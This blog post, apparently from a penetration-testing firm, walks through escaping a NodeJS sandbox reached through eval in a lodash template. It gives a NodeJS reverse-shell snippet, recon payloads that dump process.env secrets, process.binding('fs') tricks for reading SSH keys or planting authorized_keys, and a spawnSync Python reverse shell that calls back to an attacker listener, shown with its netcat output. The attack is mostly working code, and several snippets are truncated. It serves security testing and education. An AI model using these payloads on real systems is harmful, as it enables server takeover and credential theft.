Escape NodeJS Sandboxes

In this blog post, we’re going to explore how to escape NodeJS sandboxes by understanding the internals of the interpreter.

NodeJS is a JavaScript runtime built on Chrome’s V8 JavaScript engine, allowing developers to use the same programming language, and possibly codebase, for the frontend and backend of an application. Initially released in 2009, NodeJS now boasts usage by big-named tech companies such as Netflix, Microsoft, and IBM. Today, NodeJS has been downloaded more than 250,000,000 times and continues to grow. This popularity and wide-spread usage makes it an interesting target for exploration from a web application testing persepctive.

Before NodeJS, it was required to use different server-side languages, such as PHP or Perl, which have security issues of their own. However, while NodeJS and JavaScript offer improvements, they are no different when it comes to command injection thanks to the eval() feature.

The eval function allows applications to execute commands at the operating system level. When there’s functionality that doesn’t exist between the operating system and the application, or it’s easier to offload the work to the underlying system, developers will turn to eval . Eventually, the use of this feature leads to the implementation of varying levels of sandboxing to prevent attackers like us from having the run of the underlying server.

Now, let’s deep dive into NodeJS and find out how you can try and escape from a NodeJS sandbox in an app that lets you execute arbitrary JavaScript.

Reverse Shell

Spend enough time as a pentester, and reverse shells become second nature. Identifying opportunities to initiate a reverse connection becomes trivial and that’s when the real fun begins. Thanks to Wiremask, we have a barebones reverse shell we can use in NodeJS:

var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "", function(){
return /a/; // Prevents the Node.js application form crashing

If you’re lucky and the sandboxing is weak, or non-existent, you’ll receive a reverse shell and can move on with your day. Unfortunately, things don’t always work out; we’ll walk through figuring out how to execute a reverse shell without require in the current environment. This is a common sandboxing technique and acts as a first-step defense from attackers. If you can’t import NodeJS standard libraries, you can’t easily do things such as read/write files to the operating system or establish network connections. Now, the real work begins.


The first step of any pentester’s methodology is recon. We thought we were in the clear by identifying arbitrary command execution but because of the sandboxing we have to start from square one. Our first big step will be to identify what access our payload has while executing. The most straight forward way to do this is to trigger a stack trace and view the output. Unfortunately, not all web apps will simply dump the stack trace or standard error back at you. Luckily, we can use a payload to generate and print a stack trace to standard out. Using this StackOverflow post we see that the code is actually quite simple, especially with newer language features. Without direct console access we have to use a print statement or return the actual trace, which the following code will do:

function stackTrace() {
var err = new Error();

After running this payload, we’ll get a stack trace:

at stackTrace (lodash.templateSources[3354]:49:19)
at eval (lodash.templateSources[3354]:52:11)
at Object.eval (lodash.templateSources[3354]:65:3)
at evalmachine.:38:49
at ()
at resolveLodashTemplates (evalmachine.:25:25)
at evalmachine.:59:3
at ContextifyScript.Script.runInContext (vm.js:59:29)
at Object.runInContext (vm.js:120:6)
at /var/www/ClientServer/services/Router/sandbox.js:95:29

Huzzah, we know we’re in sandbox.js, running in a lodash template using eval. Now, we can try to figure out our current code context.
We’ll want to try printing this but we can’t simply print the object. We’ll have to use JSON.stringify():

> print(JSON.stringify(this))
< TypeError: Converting circular structure to JSON

Unfortunately this has some circular references, meaning we need a script that can identify these references and truncate them. Conveniently, we can embed JSON.prune into the payload:

> print(JSON.prune(this))
< {
"console": {},
"global": "-pruned-",
"process": {
"title": "/usr/local/nvm/versions/node/v8.9.0/bin/node",
"version": "v8.9.0",
"moduleLoadList": [ ... ],

The original JSON.prune doesn’t support enumerating available functions. We can modify the case "function" results to output the function’s name giving a better mapping of the functions available. Running this payload will give a substantial output which has some interesting items. First, there’s this.process.env which contains the environment variables of the current process and may contain API keys or secrets. Second, this.process.mainModule contains configurations for the currently running module; you may also find other application-specific items that warrant further investigation, such as config file locations. Finally, we see this.process.moduleLoadList which is a list of all NodeJS modules loaded by the main process, which holds the secret to our success.

NodeJS Giving Us The Tools For Success

Lets narrow in on moduleLoadList in the main process. If we look at the original reverse shell code, we can see the two modules we need: net and child_process, which should be loaded already. From here, we research how to access modules loaded by the process. Without require, we have to use internal libraries and APIs used by NodeJS itself. Reading through the NodeJS documentation for Process, we see some promise with dlopen(). We’re going to skip over this option however because, while it may work out with enough research, there is an easier way: process.binding(). Continuing on through the NodeJS source code itself, we’ll eventually come to fs.js, the NodeJS library for File I/O. In here we see process.binding('fs') is being used. There isn’t much documentation on how this works but we know this will return the fs module. Using JSON.prune, modified to print out the function names, we can explore our functionality:

> var fs = this.process.binding('fs');
> print(JSON.prune(fs));
< {
"access": "func access()",
"close": "func close()",
"open": "func open()",
"read": "func read()",
"rmdir": "func rmdir()",
"mkdir": "func mkdir()",

After further research, we learn that these are the C++ bindings used by NodeJS and using their appropriate C/C++ function signatures will allow us to read or write. With this, we can start exploring the local filesystem and potentially gaining SSH access by writing a public key to ~/.ssh/authorized_keys or reading ~/.ssh/id_rsa. However, it’s common practice to isolate virtual machines from direct access and proxy the traffic. We want to initiate a reverse shell connection to bypass this network restriction. To do this, we’ll look at trying to replicate the child_process and net packages.

Mucking about the Internals

At this point, the best path forward is researching functionality in the C++ bindings in the NodeJS repository. The process involves reading the relevant JS library (such as net.js) for a function you want to execute, then tracing the functionality back to the C++ bindings in order to piece everything together. We could rewrite net.js without require but there’s an easier way: as it turns out CapcitorSet on GitHub did much of the heavy lifting and rewrote the functionality to execute an operating system level command without require: spawn_sync. The only changes we need to make to the gist are: change process.binding() to this.process.binding() and console.log() to print() (or remove it entirely). Next, we need to figure out what we can use to initiate the reverse shell. This is typical post-exploitation recon, looking for netcat, perl, python, etc with a payload running which <binary name> , for instance which python. In this case, we have Python and the respective payload on‘s reverse shell reference:

var resp = spawnSync('python',
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

Make sure to update the "" and 443 values to point to the internet-accessible IP address and port, respectively, that netcat is listening on. When we run the payload we see the sweet victory of a reverse shell:

root@netspi$ nc -nvlp 443
Listening on [] (family 0, port 443)
Connection from [] port 443 [tcp/*] accepted (family 2, sport 48438)
sh: no job control in this shell
sh-4.2$ whoami
sh-4.2$ ifconfig
ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet netmask broadcast
ether de:ad:be:ee:ef:00 txqueuelen 1000 (Ethernet)
RX packets 4344691 bytes 1198637148 (1.1 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4377151 bytes 1646033264 (1.5 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet netmask
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 126582565 bytes 25595751878 (23.8 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 126582565 bytes 25595751878 (23.8 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Wrap Up

From arbitrary code execution to a reverse shell, we can break out of a sandbox in NodeJS; it’s only a matter of time. This problem was rampant with early backend languages for the web, such as PHP, and plagues us still. The lesson here is: never trust user input, and never execute user-provided code. Additionally, for pentesters, poking and proding at the internal workings of the interpreter is incredibly valuable for finding these obscure ways to break out of the sandbox. Using the system against itself, as we often know, will more often than not yield positive results.

Discover why security operations teams choose NetSPI.